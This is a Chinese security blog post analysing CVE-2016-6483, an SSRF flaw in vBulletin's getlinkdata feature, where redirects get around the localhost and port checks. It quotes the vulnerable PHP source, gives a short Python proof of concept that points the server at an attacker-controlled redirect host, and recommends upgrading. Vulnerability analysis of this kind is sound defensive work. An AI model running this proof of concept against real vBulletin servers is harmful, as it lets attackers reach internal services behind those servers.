Lucifaer's Blog.

CVE-2016-6483 vBulletin 5.2.2 SSRF漏洞

Word count: 985 / Reading time: 5 min
2016/08/11 Share

0x00 漏洞概述:

漏洞信息

vBulletin是一个商业论坛程序,它封装了自己的curl用于发出请求。近日研究人员发现在某些版本中其getlinkdata这项功能并没有对跳转进行检测和制止,从而导致SSRF漏洞的产生。

影响版本

vBulletin <= 5.2.2 Preauth Server Side Request Forgery (SSRF)

vBulletin <= 4.2.3

vBulletin <= 3.8.9

0x01 漏洞分析:

首先,在/upload/include/vb5/frontend/controller/link.php中定义了actionGetlinkdata函数:

1
2
3
4
5
6
7
8
  $input = array(
'url' => trim($_REQUEST['url']),
);

$api = Api_InterfaceAbstract::instance();

$video = $api->callApi('content_video', 'getVideoFromUrl', array($input['url']));
$data = $api->callApi('content_link', 'parsePage', array($input['url']));

获取输入的url参数,通过

1
2
$video = $api->callApi('content_video', 'getVideoFromUrl', array($input['url']));
$data = $api->callApi('content_link', 'parsePage', array($input['url']));

分别传递给content_videocontent_link这两个controller中的getVideoFromUrlparsePage这两个api函数。

/upload/core/vb/api/content/link.php中的parsePageapi函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function parsePage($url)
{
// Validate url
if (!preg_match('|^http(s)?://[a-z0-9-]+(\.[a-z0-9-]+)*(:[0-9]+)?(/.*)?$|i', $url))
{
throw new vB_Exception_Api('upload_invalid_url');
}

if (($urlparts = vB_String::parseUrl($url)) === false)
{
throw new vB_Exception_Api('upload_invalid_url');
}

// Try to fetch the url
$vurl = new vB_vURL();
$vurl->set_option(VURL_URL, $url);
// Use IE8's User-Agent for the best compatibility
$vurl->set_option(VURL_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)');
$vurl->set_option(VURL_RETURNTRANSFER, 1);
$vurl->set_option(VURL_CLOSECONNECTION, 1);
$vurl->set_option(VURL_FOLLOWLOCATION, 1);
$vurl->set_option(VURL_HEADER, 1);

$page = $vurl->exec();

return $this->extractData($page, $urlparts);
}
  • 完成对于url的获取,以及对于各个参数的设置。
  • 传入的$url直接新建了一个对象vB_vURL()来实现curl
  • $vurl->set_option(VURL_FOLLOWLOCATION, 1);设置VURL_FOLLOWLOCATION参数值为1,允许跳转后的二次跳转

/upload/core/vb/vurl.php中的class_vB_vURL()触发漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
var $classnames = array('cURL')

public function __construct()
{
$this->options = vB::getDatastore()->get_value('options');

// create the objects we need
foreach ($this->classnames AS $classname)
{
$fullclass = 'vB_vURL_' . $classname;
$this->transports["$classname"] = new $fullclass($this);
}
$this->reset();
}

function exec()
{
$result = $this->exec2();
......
return $result;
}


function exec2()
{
.......

foreach (array_keys($this->transports) AS $tname)
{
$transport =& $this->transports[$tname];
if (($result = $transport->exec()) === VURL_HANDLED AND !$this->fetch_error())
{
return $this->format_response(array('headers' => $transport->response_header, 'body' => (isset($transport->response_text)? $transport->response_text : ""), 'body_file' => $this->tmpfile));
}

......
}
  • 首先,在调用该类时触发构造函数,创建我们需要的行的对象,处理拼接后的对象为:vB_vURL_cURL()
  • 之后,使用其中的exec()方法。

/upload/core/vb/vurl/curl.php中看到vB_vURL_cURL()类中的exec()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function exec()
{
$urlinfo = @vB_String::parseUrl($this->vurl->options[VURL_URL]);
if(!$this->validateUrl($urlinfo))
{
return VURL_NEXT;
}

......

$url = $this->vurl->options[VURL_URL];

$redirectCodes = array(301, 302);

for ($i = $redirect_tries; $i > 0; $i--)
{
......

$result = $this->execCurl($url, $isHttps);

......
}

if (($this->vurl->bitoptions & VURL_FOLLOWLOCATION) && in_array(curl_getinfo($this->ch, CURLINFO_HTTP_CODE), $redirectCodes))
{
$this->closeTempFile();
return VURL_NEXT;
}

vB_vURL_cURL()类中的validateUrl()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private function validateUrl($urlinfo)
{
// VBV-11823, only allow http/https schemes
if (!isset($urlinfo['scheme']) OR !in_array(strtolower($urlinfo['scheme']), array('http', 'https')))
{
return false;
}

// VBV-11823, do not allow localhost and 127.0.0.0/8 range by default
if (!isset($urlinfo['host']) OR preg_match('#localhost|127\.(\d)+\.(\d)+\.(\d)+#i', $urlinfo['host']))
{
return false;
}

......

$allowedPorts = isset($config['Misc']['uploadallowedports']) ? $config['Misc']['uploadallowedports'] : array();
if (!is_array($allowedPorts))
{
$allowedPorts = array(80, 443, $allowedPorts);
}
else
{
$allowedPorts = array_merge(array(80, 443), $allowedPorts);
}

if (!in_array($urlinfo['port'], $allowedPorts))
{
return false;
}

return true;
}
  • 首先看到validateUrl()进行了对于$urlinfo数组的过滤:

    • 不允许127.0.0.0/8这一系列的地址对本地地址或端口的操作,用于防止ssrf攻击
    • 限制跳转地址访问的端口只能是44380端口。
  • 之后,在exec()中,当我们设置的VURL_FOLLOWLOCATION值为1时,会将跳转信息为301302的信息设置为允许二次跳转,触发ssrf漏洞。

0x02 漏洞利用:

测试poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
#coding:utf-8

import requests as req

u = 'vb服务器ip地址'
redirect_server = '你的vps'
vul_url = u + '/link/getlinkdata'
data = {
'url' : redirect_server
}
r = req.get(vul_url)
print vul_url
print r
req.post(vul_url, data=data)

0x03 漏洞修复:

  • 将vBulletin升级到最新版本

0x05 参考:

http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt

CATALOG
  1. 1. 0x00 漏洞概述:
    1. 1.1. 漏洞信息
    2. 1.2. 影响版本
  2. 2. 0x01 漏洞分析:
  3. 3. 0x02 漏洞利用:
  4. 4. 0x03 漏洞修复:
  5. 5. 0x05 参考: